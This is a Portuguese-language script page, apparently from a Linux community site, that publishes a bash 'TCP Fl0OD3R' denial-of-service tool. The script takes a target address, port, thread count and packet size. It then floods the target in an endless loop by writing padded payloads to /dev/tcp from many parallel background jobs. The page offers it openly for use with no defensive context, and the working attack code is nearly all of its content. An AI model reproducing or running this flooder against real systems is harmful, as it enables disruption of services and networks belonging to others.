TCP Flooder
Publicado por Perfil removido (última atualização em 18/11/2013)
[ Hits: 5.742 ]
TCP flooder feito em Shell Script.
#!/bin/bash
# TCP Fl0OD3R 8y MMxM
error(){
    echo -e "\n\n[sorry dude] connection refused\n\n"
    exit;
}
help(){
name=$(basename $0)
cat <<_EXPLAIN
[+] TCP Fl0OD3R 8y MMxM
 |
 |
 *--> [ Options ]
 |
 |  (-x [target-destination]    )
 |  (-p [port-destination]      )
 |  (-t [threads]           )
 |  (-s [size-of-package {bytes}]   )
 |
 *--> [ Example ]
    $name -x 127.0.0.1 -p 3306 -t 20 -s 2096
_EXPLAIN
exit;
}
flood(){
    dest=$1
    port=$2
    pack=$3
    echo "$pack" > /dev/tcp/$dest/$port
}
[ "$1" ] || help;
while getopts x:p:s:t: OPT;
do
    case "$OPT" in
        "x") target="${OPTARG}";;
        "p") port="${OPTARG}";;
        "s") size="${OPTARG}";;
        "t") threads="${OPTARG}";;
        "?") help;;
    esac
done
[ $port ] || help;
[ $target ] || help;
[ $size ] || help;
[ $threads ] || help;
echo >/dev/tcp/$target/$port || error
pack=$(printf %"$size"s |tr " " "M")
echo -e "\n[+] Starting flood\n[*]Ctrl+c to stop !!!\n\n"
sleep 2
declare -A pids
nn=0
while [ 1 ]
do
    echo -ne "\r[$nn] Packets sent";
    for i in $(seq $threads)
    do
        flood $target $port $pack &
        pid=$!
        pids[$pid]=$i
        nn=$(($nn+1))
    done
    while [ -n "${pids[*]}" ]; do
        sleep 1
        for pid in "${!pids[@]}"; do
            if ! ps "$pid" >/dev/null; then
                unset pids[$pid]
            fi
        done
        if [ -z "${!pids[*]}" ]; then
            break
        fi
    done
done
Desligando seu PC com controle total e aviso sonoro
Script para Conexão Automática com Internet a Rádio
Gzipar arquivos com determinadas extensões
Nenhum comentário foi encontrado.
IA Turbina o Desktop Linux enquanto distros renovam forças
Como extrair chaves TOTP 2FA a partir de QRCODE (Google Authenticator)
Linux em 2025: Segurança prática para o usuário
Desktop Linux em alta: novos apps, distros e privacidade marcam o sábado
IA chega ao desktop e impulsiona produtividade no mundo Linux
Atualizando o Fedora 42 para 43
Como saber se o seu e-mail já teve a senha vazada?
Como descobrir se a sua senha já foi vazada na internet?
Problemas com Driver NVIDIA (5)
Warcraft II Remastered no Linux? (8)
Instalação dualboot Windows 11 e Debian 13 (7)









